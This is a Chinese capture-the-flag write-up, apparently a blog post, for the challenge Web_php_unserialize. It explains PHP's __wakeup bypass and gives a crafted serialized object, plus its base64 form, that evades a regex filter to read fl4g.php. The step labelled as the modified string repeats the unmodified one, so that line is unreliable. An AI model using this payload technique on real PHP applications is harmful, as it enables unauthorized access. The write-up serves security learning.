unserialize与__destruct、__wakeup

攻防世界:Web_php_unserialize

**

知识:

  1. PHP__wakeup()函数漏洞
    在程序执行前,serialize() 函数会首先检查是否存在一个魔术方法 __sleep.如果存在,__sleep()方法会先被调用, 然后才执行串行化(序列化)操作。这个功能可以用于清理对象,并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致 一个E_NOTICE错误。与之相反,unserialize()会检查是否存在一个__wakeup方法。如果存在,则会先调用 __wakeup方法,预先准备对象数据。但是这个wakeup()是可以被绕过的
    __wakeup 触发于 unserilize() 调用之前, 当反序列化时的字符串所对应的对象的数目被修改,__wake 的函数就不会被调用. 并且不会重建为对象, 但是会触发其他的魔术方法比如__destruct

绕过方法及漏洞详细内容1(https://xz.aliyun.com/t/378)
绕过方法及漏洞详细内容2(http://www.she1don.cn/index.php/archives/20.html)

**


解题


  1. 求serialize Demo=>file=fl4g如下:
    O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}
  2. 根据代码
if (preg_match('/[oc]:\d+:/i', $var)) { 
       die('stop hacking!'); 
   } else {
       @unserialize($var); 
   } 

可以得到字母‘o’后不能加‘:’和数字组合即传入O:4会触发if条件,所以将O:4改为O:+4,然后绕过wakeup()函数,将"Demo":1改为"Demo":2,改完如下:
O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}
3. 进行base64编码得到:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ

  1. 得到flag:
    在这里插入图片描述
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值